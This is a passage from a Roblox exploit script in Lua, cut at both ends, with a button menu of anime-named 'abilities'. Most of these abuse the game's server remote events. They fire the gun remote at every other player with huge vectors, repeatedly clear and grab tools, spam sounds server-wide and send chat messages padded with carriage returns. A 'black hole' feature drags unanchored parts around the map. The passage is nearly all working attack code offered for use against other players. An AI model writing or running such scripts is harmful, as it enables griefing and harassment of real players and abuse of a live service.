repeat task.wait(0.1) until
LocalPlayer.Backpack:FindFirstChild("Assault")
and LocalPlayer.Backpack.Assault:FindFirstChild("GunScript_Local")
and LocalPlayer.Backpack.Assault.GunScript_Local:FindFirstChild("MuzzleEffect")
and LocalPlayer.Backpack.Assault.GunScript_Local:FindFirstChild("HitEffect")
local gunScript = LocalPlayer.Backpack.Assault.GunScript_Local
local muzzle = gunScript.MuzzleEffect
local hit = gunScript.HitEffect
while fireLoopActiveServer do
for _, alvo in ipairs(Players:GetPlayers()) do
if alvo ~= LocalPlayer and alvo ~= ignoreTarget and alvo.Character and alvo.Character:FindFirstChild("HumanoidRootPart") then
local hrp = alvo.Character.HumanoidRootPart
local args = {
[1] = hrp,
[2] = hrp,
[3] = Vector3.new(100000000376832, 100000000376832, 100000000376832),
[4] = hrp.Position,
[5] = muzzle,
[6] = hit,
[7] = 0,
[8] = 0,
[9] = { [1] = false },
[10] = {
[1] = 25,
[2] = Vector3.new(100, 100, 100),
[3] = BrickColor.new(29),
[4] = 0.25,
[5] = Enum.Material.SmoothPlastic,
[6] = 0.25
},
[11] = true,
[12] = false
}
ReplicatedStorage.RE:FindFirstChild("1Gu1n"):FireServer(unpack(args))
task.wait(0.001)
end
end
end
end)
end)
local bodyVelocity = Instance.new("BodyVelocity")
bodyVelocity.MaxForce = Vector3.new(0, math.huge, 0)
bodyVelocity.Velocity = Vector3.new(0, 50, 0)
bodyVelocity.Parent = humanoidRootPart
task.spawn(function()
local alturaInicial = posicaoOriginal.Y
local alturaDesejada = alturaInicial + 8
repeat
task.wait(0.1)
until humanoidRootPart.Position.Y >= alturaDesejada
bodyVelocity:Destroy()
local bodyPosition = Instance.new("BodyPosition")
bodyPosition.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
bodyPosition.Position = Vector3.new(humanoidRootPart.Position.X, alturaDesejada, humanoidRootPart.Position.Z)
bodyPosition.D = 5000
bodyPosition.P = 10000
bodyPosition.Parent = humanoidRootPart
task.wait(0.5)
if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
local success, err = pcall(function()
TextChatService.TextChannels.RBXGeneral:SendAsync(
"hi\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\rShinra Tensei!"
)
end)
if not success then
warn("erro chat:", err)
end
else
print("nn usados")
end
local selectedAudioID = 127171723747143
local args = {
[1] = workspace,
[2] = selectedAudioID,
[3] = 1,
}
ReplicatedStorage.RE:FindFirstChild("1Gu1nSound1s"):FireServer(unpack(args))
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://" .. tostring(selectedAudioID)
sound.Parent = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if sound.Parent then
sound:Play()
else
warn("HumanoidRootPart não encontrado")
end
task.wait(2)
bodyPosition:Destroy()
local bodyVelocityDown = Instance.new("BodyVelocity")
bodyVelocityDown.MaxForce = Vector3.new(0, math.huge, 0)
bodyVelocityDown.Velocity = Vector3.new(0, -20, 0)
bodyVelocityDown.Parent = humanoidRootPart
repeat
task.wait(0.1)
until humanoidRootPart.Position.Y <= posicaoOriginal.Y + 1
bodyVelocityDown:Destroy()
local success, errorMessage = pcall(function()
local TweenService = game:GetService("TweenService")
local currentCharacter = LocalPlayer.Character
if not currentCharacter or not currentCharacter:FindFirstChild("HumanoidRootPart") then
warn("Personagem não encontrado durante a explosão!")
return
end
local currentHRP = currentCharacter.HumanoidRootPart
local esfera = Instance.new("Part")
esfera.Shape = Enum.PartType.Ball
esfera.Anchored = true
esfera.CanCollide = false
esfera.Material = Enum.Material.Neon
esfera.Color = Color3.fromRGB(255, 255, 255)
esfera.Size = Vector3.new(1,1,1)
esfera.Position = currentHRP.Position
esfera.Parent = workspace
local tweenExplosao = TweenService:Create(esfera, TweenInfo.new(1.2, Enum.EasingStyle.Exponential), {
Size = Vector3.new(500, 500, 500),
Transparency = 0.5
})
tweenExplosao:Play()
local particulas = Instance.new("ParticleEmitter")
particulas.Texture = "rbxassetid://243098098"
particulas.Rate = 250
particulas.Lifetime = NumberRange.new(2)
particulas.Speed = NumberRange.new(40)
particulas.Size = NumberSequence.new({
NumberSequenceKeypoint.new(0, 4),
NumberSequenceKeypoint.new(1, 0.4)
})
particulas.Parent = esfera
local explosionCenter = currentHRP.Position
local maxDistance = 200
local pushForce = 250
task.spawn(function()
local descendants = workspace:GetDescendants()
for i = 1, #descendants do
local parte = descendants[i]
if parte and parte.Parent and parte:IsA("BasePart") and not parte.Anchored then
local success2, err2 = pcall(function()
local distance = (parte.Position - explosionCenter).Magnitude
if distance < maxDistance and distance > 0 then
local empurro = Instance.new("BodyVelocity")
empurro.Velocity = (parte.Position - explosionCenter).Unit * pushForce
empurro.MaxForce = Vector3.new(500000, 500000, 500000)
empurro.Parent = parte
game:GetService("Debris"):AddItem(empurro, 0.5)
end
end)
if not success2 then
warn("part errou:", err2)
end
end
if i % 50 == 0 then
task.wait()
end
end
end)
task.spawn(function()
task.wait(3)
if esfera and esfera.Parent then
if particulas and particulas.Parent then
particulas.Enabled = false
end
local fadeOut = TweenService:Create(esfera, TweenInfo.new(0.5), {
Transparency = 1
})
fadeOut:Play()
fadeOut.Completed:Connect(function()
if esfera then
esfera:Destroy()
end
end)
end
end)
end)
if not success then
warn("erro:", errorMessage)
end
task.spawn(function()
task.wait(10)
if sound then
sound:Destroy()
end
end)
end)
end
local ButtonStart = Tabs.TT:AddButton({Translator:traduzir("Shinra Tensei"), function()
executarSequenciaCombate()
end})
local expansionActive = false
local expansionModel = nil
local expansionSound = nil
local originalSky = nil
local cancelExpansion = false
local fireLoop = nil
local soundLoop = nil
local TextChatService = game:GetService("TextChatService")
local Lighting = game:GetService("Lighting")
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Player = Players.LocalPlayer
Tabs.TT:AddButton({
Name = "Expansão de Domínio",
Callback = function()
if expansionActive then
warn("Expansão já está ativa!")
return
end
expansionActive = true
cancelExpansion = false
local activationSound = Instance.new("Sound")
activationSound.SoundId = "rbxassetid://95428790677335"
activationSound.Volume = 0.8
activationSound.Parent = workspace
activationSound:Play()
task.wait(0.5)
if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
TextChatService.TextChannels.RBXGeneral:SendAsync(
"hi\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\rExpansão de Domínio"
)
end
activationSound.Ended:Connect(function()
activationSound:Destroy()
end)
task.spawn(function()
local args = {
[1] = workspace,
[2] = 95428790677335,
[3] = 1,
}
local soundRemote = ReplicatedStorage.RE:FindFirstChild("1Gu1nSound1s")
if soundRemote then
soundRemote:FireServer(unpack(args))
end
end)
local function ativarDominio()
local char = Player.Character or Player.CharacterAdded:Wait()
local hrp = char:WaitForChild("HumanoidRootPart")
originalSky = Lighting:FindFirstChildOfClass("Sky")
if originalSky then
originalSky.Parent = nil
end
expansionModel = Instance.new("Model", workspace)
expansionModel.Name = "InfiniteVoid"
local esfera = Instance.new("Part")
esfera.Name = "DomainSphere"
esfera.Shape = Enum.PartType.Ball
esfera.Size = Vector3.new(300, 300, 300)
esfera.Position = hrp.Position
esfera.Anchored = true
esfera.CanCollide = false
esfera.Material = Enum.Material.ForceField
esfera.Transparency = 0.3
esfera.Color = Color3.fromRGB(0, 0, 0)
esfera.Parent = expansionModel
local luz = Instance.new("PointLight", esfera)
luz.Color = Color3.fromRGB(0, 153, 255)
luz.Brightness = 10
luz.Range = 300
local ps = Instance.new("ParticleEmitter", esfera)
ps.Texture = "rbxassetid://243660364"
ps.Color = ColorSequence.new(Color3.fromRGB(0, 153, 255))
ps.LightEmission = 1
ps.Size = NumberSequence.new(3)
ps.Transparency = NumberSequence.new(0.2)
ps.Rate = 1000
ps.Lifetime = NumberRange.new(2)
ps.Speed = NumberRange.new(0)
ps.VelocitySpread = 180
expansionSound = Instance.new("Sound", esfera)
expansionSound.SoundId = "rbxassetid://1843527678"
expansionSound.Volume = 1.5
expansionSound.Looped = true
expansionSound:Play()
local newSky = Instance.new("Sky", Lighting)
newSky.Name = "DomainSky"
newSky.SkyboxBk = "rbxassetid://159454299"
newSky.SkyboxDn = "rbxassetid://159454296"
newSky.SkyboxFt = "rbxassetid://159454293"
newSky.SkyboxLf = "rbxassetid://159454286"
newSky.SkyboxRt = "rbxassetid://159454300"
newSky.SkyboxUp = "rbxassetid://159454288"
end
ativarDominio()
soundLoop = task.spawn(function()
local selectedAudioID = 140031333626044
while expansionActive and not cancelExpansion do
local remote = ReplicatedStorage:FindFirstChild("RE") and ReplicatedStorage.RE:FindFirstChild("1Gu1nSound1s")
if remote then
pcall(function()
remote:FireServer(workspace, selectedAudioID, 1)
end)
end
local root = Player.Character and Player.Character:FindFirstChild("HumanoidRootPart")
if root then
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://" .. selectedAudioID
sound.Volume = 0.7
sound.Looped = false
sound.Parent = root
sound:Play()
sound.Ended:Connect(function()
if sound then sound:Destroy() end
end)
local timeLength = sound.TimeLength > 0 and sound.TimeLength or 5
task.wait(timeLength + 0.1)
else
warn("HumanoidRootPart não encontrado")
break
end
end
end)
local RE = ReplicatedStorage:WaitForChild("RE")
local ClearEvent = RE:FindFirstChild("1Clea1rTool1s")
local ToolEvent = RE:FindFirstChild("1Too1l")
local FireEvent = RE:FindFirstChild("1Gu1n")
local function clearAllTools()
if ClearEvent then
pcall(function()
ClearEvent:FireServer("ClearAllTools")
end)
end
end
local function getAssault()
if ToolEvent then
pcall(function()
ToolEvent:InvokeServer("PickingTools", "Assault")
end)
end
end
local function hasAssault()
return Player.Backpack:FindFirstChild("Assault") ~= nil
end
local function fireAtPart(targetPart)
local gunScript = Player.Backpack:FindFirstChild("Assault")
and Player.Backpack.Assault:FindFirstChild("GunScript_Local")
if not gunScript or not targetPart then return end
local args = {
targetPart,
targetPart,
Vector3.new(1e14, 1e14, 1e14),
targetPart.Position,
gunScript:FindFirstChild("MuzzleEffect"),
gunScript:FindFirstChild("HitEffect"),
0,
0,
{ false },
{
25,
Vector3.new(100, 100, 100),
BrickColor.new(29),
0.25,
Enum.Material.SmoothPlastic,
0.25
},
true,
false
}
pcall(function()
FireEvent:FireServer(unpack(args))
end)
end
local function fireAtAllPlayers(times)
for i = 1, times do
if not expansionActive or cancelExpansion then break end
for _, player in ipairs(Players:GetPlayers()) do
if not expansionActive or cancelExpansion then break end
if player ~= Player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
fireAtPart(player.Character.HumanoidRootPart)
task.wait(0.1)
end
end
end
end
fireLoop = task.spawn(function()
while expansionActive and not cancelExpansion do
clearAllTools()
getAssault()
local attempts = 0
repeat
task.wait(0.2)
attempts = attempts + 1
until hasAssault() or attempts > 25 or not expansionActive or cancelExpansion
if expansionActive and not cancelExpansion and hasAssault() then
fireAtAllPlayers(3)
end
task.wait(1)
end
end)
end
})
_G.HakiAtived = false
_G.StopHaki = false
local HakiSound
local StopModel
local soundLoop
local fireLoop
local originalSky
local Players = game:GetService("Players")
local ReplicatedStorage= game:GetService("ReplicatedStorage")
local TextChatService = game:GetService("TextChatService")
local TweenService = game:GetService("TweenService")
local Debris = game:GetService("Debris")
local Lighting = game:GetService("Lighting")
local Player = Players.LocalPlayer
Tabs.TT:AddButton({
Name = "Haki Do Rei",
Callback = function()
_G.HakiAtived = true
_G.StopHaki = false
local Character = Player.Character or Player.CharacterAdded:Wait()
local Root = Character:WaitForChild("HumanoidRootPart")
local activationSound = Instance.new("Sound")
activationSound.SoundId = "rbxassetid://17887086888"
activationSound.Volume = 0.8
activationSound.Parent = workspace
activationSound:Play()
HakiSound = activationSound
activationSound.Ended:Connect(function()
activationSound:Destroy()
end)
local hakiBubble = Instance.new("Part")
hakiBubble.Shape = Enum.PartType.Ball
hakiBubble.Anchored = true
hakiBubble.CanCollide = false
hakiBubble.Material = Enum.Material.ForceField
hakiBubble.Color = Color3.fromRGB(85, 0, 255)
hakiBubble.Transparency = 0.5
hakiBubble.Size = Vector3.new(1, 1, 1)
hakiBubble.CFrame = Root.CFrame
hakiBubble.Parent = workspace
StopModel = hakiBubble
local particles = Instance.new("ParticleEmitter")
particles.Texture = "rbxassetid://243098098"
particles.Rate = 200
particles.Lifetime = NumberRange.new(1)
particles.Speed = NumberRange.new(0)
particles.Size = NumberSequence.new{
NumberSequenceKeypoint.new(0, 3),
NumberSequenceKeypoint.new(1, 0)
}
particles.Color = ColorSequence.new(
Color3.fromRGB(255, 0, 0),
Color3.fromRGB( 0, 0, 0)
)
particles.Parent = hakiBubble
local expandTween = TweenService:Create(hakiBubble,
TweenInfo.new(1.5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out),
{ Size = Vector3.new(80,80,80), Transparency = 1 }
)
expandTween:Play()
Debris:AddItem(hakiBubble, 4)
local function aplicarHakiCorpo(part)
local emitter = Instance.new("ParticleEmitter")
emitter.Texture = "rbxassetid://243098098"
emitter.Rate = 50
emitter.Lifetime = NumberRange.new(0.5)
emitter.Speed = NumberRange.new(0)
emitter.Size = NumberSequence.new{
NumberSequenceKeypoint.new(0,1),
NumberSequenceKeypoint.new(1,0)
}
emitter.Color = ColorSequence.new(
Color3.fromRGB(255, 0, 0),
Color3.fromRGB( 0, 0, 0)
)
emitter.LightEmission = 0.8
emitter.LockedToPart = true
emitter.Parent = part
end
for _, part in ipairs(Character:GetChildren()) do
if part:IsA("BasePart") and part.Name ~= "HumanoidRootPart" then
aplicarHakiCorpo(part)
end
end
soundLoop = task.spawn(function()
while _G.HakiAtived and not _G.StopHaki do
local remote = ReplicatedStorage:FindFirstChild("RE")
and ReplicatedStorage.RE:FindFirstChild("1Gu1nSound1s")
if remote then
pcall(function()
remote:FireServer(workspace, 17887086888, 1)
end)
end
if Root then
local s = Instance.new("Sound")
s.SoundId = "rbxassetid://17887086888"
s.Volume = 0.7
s.Parent = Root
s:Play()
s.Ended:Connect(function() s:Destroy() end)
local len = s.TimeLength > 0 and s.TimeLength or 5
task.wait(len + 0.1)
else
break
end
end
end)
fireLoop = task.spawn(function()
local RE = ReplicatedStorage:WaitForChild("RE")
local ClearEvent = RE:FindFirstChild("1Clea1rTool1s")
local ToolEvent = RE:FindFirstChild("1Too1l")
local FireEvent = RE:FindFirstChild("1Gu1n")
local function clearAllTools()
if ClearEvent then
pcall(function() ClearEvent:FireServer("ClearAllTools") end)
end
end
local function getAssault()
if ToolEvent then
pcall(function() ToolEvent:InvokeServer("PickingTools", "Assault") end)
end
end
local function hasAssault()
return Player.Backpack:FindFirstChild("Assault") ~= nil
end
local function fireAtPart(target)
local gunScript = Player.Backpack:FindFirstChild("Assault")
and Player.Backpack.Assault:FindFirstChild("GunScript_Local")
if not gunScript or not target then return end
local args = {
target, target,
Vector3.new(1e14,1e14,1e14),
target.Position,
gunScript.MuzzleEffect,
gunScript.HitEffect,
0, 0,
{ false },
{ 25, Vector3.new(100,100,100), BrickColor.new(29), 0.25, Enum.Material.SmoothPlastic, 0.25 },
true, false
}
pcall(function() FireEvent:FireServer(unpack(args)) end)
end
while _G.HakiAtived and not _G.StopHaki do
clearAllTools()
getAssault()
local tries = 0
repeat
task.wait(0.2)
tries += 1
until hasAssault() or tries > 25 or not _G.HakiAtived
if _G.HakiAtived and hasAssault() then
for i = 1, 3 do
if not _G.HakiAtived then break end
for _, pl in ipairs(Players:GetPlayers()) do
if pl ~= Player and pl.Character and pl.Character:FindFirstChild("HumanoidRootPart") then
fireAtPart(pl.Character.HumanoidRootPart)
task.wait(0.1)
end
end
end
end
task.wait(1)
end
end)
originalSky = Lighting:FindFirstChildOfClass("Sky")
end
})
Tabs.TT:AddButton({"Mangekyou Sharigam", function()
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local Lighting = game:GetService("Lighting")
local LocalPlayer = Players.LocalPlayer
local Remote = ReplicatedStorage:WaitForChild("RE"):FindFirstChild("1Gu1n")
local index = 1
local activationSound = Instance.new("Sound")
activationSound.SoundId = "rbxassetid://1592708450"
activationSound.Volume = 0.8
activationSound.Parent = workspace
activationSound:Play()
activationSound.Ended:Connect(function()
activationSound:Destroy()
end)
local function fireEyes()
for _, eyeName in {"LeftEye", "RightEye"} do
local eye = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild(eyeName)
if eye then
local fire = Instance.new("Fire")
fire.Size = 3
fire.Heat = 10
fire.Color = Color3.fromRGB(255, 0, 0)
fire.SecondaryColor = Color3.fromRGB(0, 0, 0)
fire.Parent = eye
end
end
end
local function shakeCamera()
local cam = workspace.CurrentCamera
local shake = Instance.new("NumberValue")
shake.Name = "CameraShake"
shake.Value = 5
shake.Parent = cam
RunService.RenderStepped:Connect(function()
if shake.Value > 0 then
cam.CFrame = cam.CFrame * CFrame.new(
math.random(-shake.Value, shake.Value) * 0.1,
math.random(-shake.Value, shake.Value) * 0.1,
math.random(-shake.Value, shake.Value) * 0.1
)
end
end)
task.delay(2, function() shake.Value = 0 end)
end
local function blackFlames()
for _, target in pairs(Players:GetPlayers()) do
if target ~= LocalPlayer and target.Character and target.Character:FindFirstChild("HumanoidRootPart") then
local emitter = Instance.new("ParticleEmitter")
emitter.Texture = "rbxassetid://243098098"
emitter.Color = ColorSequence.new(Color3.fromRGB(0, 0, 0))
emitter.LightEmission = 0.5
emitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 2), NumberSequenceKeypoint.new(1, 0)})
emitter.Lifetime = NumberRange.new(1)
emitter.Rate = 50
emitter.Speed = NumberRange.new(0.5, 1)
emitter.Rotation = NumberRange.new(0, 360)
emitter.RotSpeed = NumberRange.new(-90, 90)
emitter.Parent = target.Character.HumanoidRootPart
end
end
end
local function rolar()
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "RotatingImageGui"
screenGui.Parent = LocalPlayer.PlayerGui
screenGui.ResetOnSpawn = false
local imageLabel = Instance.new("ImageLabel")
imageLabel.Name = "IdiotImage"
imageLabel.Size = UDim2.new(0, 200, 0, 200)
imageLabel.Position = UDim2.new(0.5, -100, 0.5, -100)
imageLabel.BackgroundTransparency = 1
imageLabel.Image = "rbxassetid://114416257899946"
imageLabel.Parent = screenGui
local rotationSpeed = 360
RunService.RenderStepped:Connect(function(deltaTime)
imageLabel.Rotation = (imageLabel.Rotation + rotationSpeed * deltaTime) % 360
end)
end
local function colorRed()
if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
LocalPlayer.CharacterAdded:Wait()
end
local pointLight = Instance.new("PointLight")
pointLight.Name = "StrongRedLight"
pointLight.Color = Color3.fromRGB(255, 0, 0)
pointLight.Brightness = 3
pointLight.Range = 200
pointLight.Shadows = true
pointLight.Parent = LocalPlayer.Character.HumanoidRootPart
end
local function fun()
RunService.Stepped:Connect(function()
local allPlayers = Players:GetPlayers()
if #allPlayers < 2 then return end
index += 1
if index > #allPlayers then index = 1 end
local target = allPlayers[index]
if target == LocalPlayer then
index += 1
if index > #allPlayers then index = 1 end
target = allPlayers[index]
end
if target.Character and target.Character:FindFirstChild("HumanoidRootPart") then
local crazyVector = Vector3.new(
math.random(1e14, 1e15),
math.random(1e14, 1e15),
math.random(1e14, 1e15)
)
local args = {
[1] = target.Character.HumanoidRootPart,
[2] = target.Character.HumanoidRootPart,
[3] = crazyVector,
[4] = target.Character.HumanoidRootPart.Position,
[5] = LocalPlayer.Backpack:FindFirstChild("Assault") and LocalPlayer.Backpack.Assault.GunScript_Local:FindFirstChild("MuzzleEffect"),
[6] = LocalPlayer.Backpack:FindFirstChild("Assault") and LocalPlayer.Backpack.Assault.GunScript_Local:FindFirstChild("HitEffect"),
[7] = 0,
[8] = 0,
[9] = { [1] = false },
[10] = {
[1] = 25,
[2] = Vector3.new(100, 100, 100),
[3] = BrickColor.new(29),
[4] = 0.25,
[5] = Enum.Material.SmoothPlastic,
[6] = 0.25
},
[11] = true,
[12] = false
}
Remote:FireServer(unpack(args))
end
end)
end
task.delay(0.5, function()
fireEyes()
shakeCamera()
blackFlames()
rolar()
colorRed()
fun()
end)
end})
Tabs.TT:AddButton({
Name = Translator:traduzir("Stop All"),
Description = Translator:traduzir("Stop/Shinra Tensei/Haki do Rei/Expansão/Mangekyou"),
Callback = function()
----------------------------
-- Shinra Tensei
----------------------------
fireLoopActiveServer = false
ignoreTarget = nil
-- remove explosões/esferas criadas
for _, v in ipairs(workspace:GetChildren()) do
if v:IsA("Part") and (v.Name == "ShinraSphere" or v.Name == "Explosao" or v.Name == "Part") and v.Material == Enum.Material.Neon then
v:Destroy()
end
end
----------------------------
-- Expansão de Domínio
----------------------------
expansionActive = false
cancelExpansion = true
if expansionModel then
expansionModel:Destroy()
expansionModel = nil
end
if expansionSound then
expansionSound:Stop()
expansionSound:Destroy()
expansionSound = nil
end
if Lighting:FindFirstChild("DomainSky") then
Lighting.DomainSky:Destroy()
end
if originalSky and not Lighting:FindFirstChildOfClass("Sky") then
originalSky.Parent = Lighting
end
----------------------------
-- Haki do Rei
----------------------------
_G.HakiAtived = false
_G.StopHaki = true
if HakiSound then
HakiSound:Stop()
HakiSound:Destroy()
HakiSound = nil
end
if StopModel then
StopModel:Destroy()
StopModel = nil
end
-- remove partículas aplicadas no corpo
for _, part in ipairs(Player.Character:GetDescendants()) do
if part:IsA("ParticleEmitter") and part.Texture == "rbxassetid://243098098" then
part:Destroy()
end
end
----------------------------
-- Mangekyou Sharingan
----------------------------
local cam = workspace.CurrentCamera
if cam:FindFirstChild("CameraShake") then
cam.CameraShake:Destroy()
end
if Player.PlayerGui:FindFirstChild("RotatingImageGui") then
Player.PlayerGui.RotatingImageGui:Destroy()
end
-- remove partículas (chamas pretas) dos players
for _, plr in ipairs(Players:GetPlayers()) do
if plr.Character then
for _, obj in ipairs(plr.Character:GetDescendants()) do
if obj:IsA("ParticleEmitter") and obj.Texture == "rbxassetid://243098098" then
obj:Destroy()
end
if obj:IsA("PointLight") and obj.Name == "StrongRedLight" then
obj:Destroy()
end
end
end
end
----------------------------
-- Sons gerais
----------------------------
for _, s in ipairs(workspace:GetDescendants()) do
if s:IsA("Sound") and (s.IsPlaying or s.Looped) then
s:Stop()
s:Destroy()
end
end
warn("✅ Todas as habilidades e efeitos foram parados e removidos!")
end
})
end
do
Tabs.TT:AddSection({Translator:traduzir("Bring Partes Update [Beta]")})
local Players,RS,RunService,TweenService,Lighting,Workspace,TCS,UserInputService =
game:GetService("Players"),
game:GetService("ReplicatedStorage"),
game:GetService("RunService"),
game:GetService("TweenService"),
game:GetService("Lighting"),
game:GetService("Workspace"),
game:GetService("TextChatService"),
game:GetService("UserInputService")
local Player = Players.LocalPlayer
local Character,Humanoid,RootPart
local function updateCharacter()
Character = Player.Character or Player.CharacterAdded:Wait()
Humanoid = Character:WaitForChild("Humanoid")
RootPart = Character:WaitForChild("HumanoidRootPart")
end
updateCharacter()
Player.CharacterAdded:Connect(updateCharacter)
local blackHoleActive = false
local blackHoleModel = nil
local function toggleBlackHole(v)
blackHoleActive = v
if blackHoleActive then
local sky = Instance.new("Sky")
sky.SkyboxBk="rbxassetid://8139676647"
sky.SkyboxDn="rbxassetid://8139676988"
sky.SkyboxFt="rbxassetid://8139677111"
sky.SkyboxLf="rbxassetid://8139677359"
sky.SkyboxRt="rbxassetid://8139677253"
sky.SkyboxUp="rbxassetid://8139676647"
sky.Parent = Lighting
blackHoleModel = Instance.new("Model", Workspace)
blackHoleModel.Name = "GargantuaBlackHole"
local singularity = Instance.new("Part", blackHoleModel)
singularity.Shape = Enum.PartType.Ball
singularity.Size = Vector3.new(80,80,80)
singularity.Anchored = true
singularity.CanCollide = false
singularity.Material = Enum.Material.Neon
singularity.Color = Color3.new(0,0,0)
singularity.Transparency = 0.05
local diskLayers = {}
for i=1,7 do
local disk = Instance.new("Part", blackHoleModel)
disk.Shape = Enum.PartType.Cylinder
disk.Size = Vector3.new(8,200+(i*50),200+(i*50))
disk.Anchored = true
disk.CanCollide = false
disk.Material = Enum.Material.Neon
disk.Color = Color3.fromHSV((i*30)%360/360*0.15,1,1)
disk.Transparency = 0.3+(i*0.08)
table.insert(diskLayers,disk)
local light = Instance.new("PointLight",disk)
light.Color = disk.Color
light.Brightness = 8-i
light.Range = 300+(i*50)
end
local centralLight = Instance.new("PointLight", singularity)
centralLight.Color = Color3.fromRGB(255,100,0)
centralLight.Brightness = 15
centralLight.Range = 800
local attachment = Instance.new("Attachment", singularity)
local function applyForce(v)
if v:IsA("Part") and not v.Anchored and not v.Parent:FindFirstChild("Humanoid") and v.Parent ~= blackHoleModel then
for _,force in pairs(v:GetChildren()) do
if force:IsA("BodyAngularVelocity") or force:IsA("BodyForce") or force:IsA("BodyVelocity") or force:IsA("AlignPosition") or force:IsA("Torque") then
force:Destroy()
end
end
v.CanCollide = false
local torque = Instance.new("Torque", v)
local align = Instance.new("AlignPosition", v)
local att2 = Instance.new("Attachment", v)
torque.Torque = Vector3.new(15000000,15000000,15000000)
torque.Attachment0 = att2
align.MaxForce = math.huge
align.MaxVelocity = math.huge
align.Responsiveness = 400
align.Attachment0 = att2
align.Attachment1 = attachment
task.spawn(function()
local startTime = tick()
local orbitRadius = math.random(40,120)
local orbitSpeed = math.sqrt(1000000/orbitRadius)
while align.Parent and blackHoleActive and blackHoleModel.Parent do
local elapsed = tick()-startTime
local angle = elapsed*orbitSpeed
local heightOsc = math.sin(elapsed)*orbitRadius*0.3
orbitRadius = math.max(30,orbitRadius-0.02)
local targetPos = singularity.Position+Vector3.new(math.cos(angle)*orbitRadius,heightOsc,math.sin(angle)*orbitRadius)
attachment.WorldCFrame = CFrame.new(targetPos)
RunService.RenderStepped:Wait()
end
end)
end
end
task.spawn(function()
for i,v in pairs(Workspace:GetDescendants()) do
applyForce(v)
if i%15==0 then task.wait() end
end
end)
Workspace.DescendantAdded:Connect(function(v)
if blackHoleActive then
task.wait(0.1)
applyForce(v)
end
end)
task.spawn(function()
while blackHoleActive and blackHoleModel.Parent and Player.Character do
local char = Player.Character
if char and char:FindFirstChild("HumanoidRootPart") then
local targetPos = char.HumanoidRootPart.Position+Vector3.new(0,50,30)
singularity.Position = singularity.Position:lerp(targetPos,0.05)
for _,disk in pairs(diskLayers) do
disk.Position = singularity.Position
end
end
RunService.Heartbeat:Wait()
end
end)
task.spawn(function()
local rotationSpeed, pulseTime = 0,0
while blackHoleActive and blackHoleModel.Parent do
rotationSpeed += math.rad(1.5)
pulseTime += 0.02
for i,disk in pairs(diskLayers) do
if disk and disk.Parent then
local diskSpeed = rotationSpeed*(1+i*0.2)
disk.CFrame = CFrame.new(singularity.Position)*CFrame.Angles(0,0,diskSpeed)
end
end
if centralLight then
local lightPulse = math.sin(pulseTime*4)*0.3+1
centralLight.Brightness = 15*lightPulse
end
RunService.RenderStepped:Wait()
end
end)
else
if blackHoleModel then
blackHoleModel:Destroy()
blackHoleModel = nil
end
end
end
--[[local tornadoActive=false
local tornadoBoat=nil
local function toggleTornado(v)
tornadoActive=v
if tornadoActive then
RootPart.CFrame=CFrame.new(1754,-2,58)
task.wait(0.5)
RS:WaitForChild("RE"):FindFirstChild("1Ca1r"):FireServer("PickingBoat","PirateFree")
task.wait(1)
tornadoBoat=Workspace.Vehicles:FindFirstChild(Player.Name.."Car")
if tornadoBoat then
local seat=tornadoBoat.Body.VehicleSeat
repeat
RootPart.CFrame=seat.CFrame*CFrame.new(0,2,0)
task.wait()
until Humanoid.Sit
local flipRemote=RS.RE["1Player1sCa1r"]
task.spawn(function()
while tornadoActive and tornadoBoat.Parent do
if Humanoid.Sit then
flipRemote:FireServer("Flip")
end
task.wait(0.2)
end
end)
local currentPos=Vector3.new(0,10,0)
local speed=30
local model=Instance.new("Model",Workspace)
model.Name="InfiniteTornado"
local layers={}
for i=1,8 do
local layer=Instance.new("Part",model)
layer.Shape=Enum.PartType.Cylinder
layer.Size=Vector3.new(60+(i*12),20+(i*8),20+(i*8))
layer.Position=currentPos+Vector3.new(0,i*15,0)
layer.Anchored=true
layer.CanCollide=false
layer.Material=Enum.Material.ForceField
layer.Color=Color3.fromRGB(200-(i*20),200-(i*20),255)
layer.Transparency=0.2+(i*0.08)
table.insert(layers,layer)
end
local keys={W=false,A=false,S=false,D=false,LeftShift=false}
UserInputService.InputBegan:Connect(function(input,processed)
if not processed and tornadoActive then
if input.KeyCode==Enum.KeyCode.W then keys.W=true end
if input.KeyCode==Enum.KeyCode.A then keys.A=true end
if input.KeyCode==Enum.KeyCode.S then keys.S=true end
if input.KeyCode==Enum.KeyCode.D then keys.D=true end
if input.KeyCode==Enum.KeyCode.LeftShift then keys.LeftShift=true end
end
end)
UserInputService.InputEnded:Connect(function(input,processed)
if not processed and tornadoActive then
if input.KeyCode==Enum.KeyCode.W then keys.W=false end
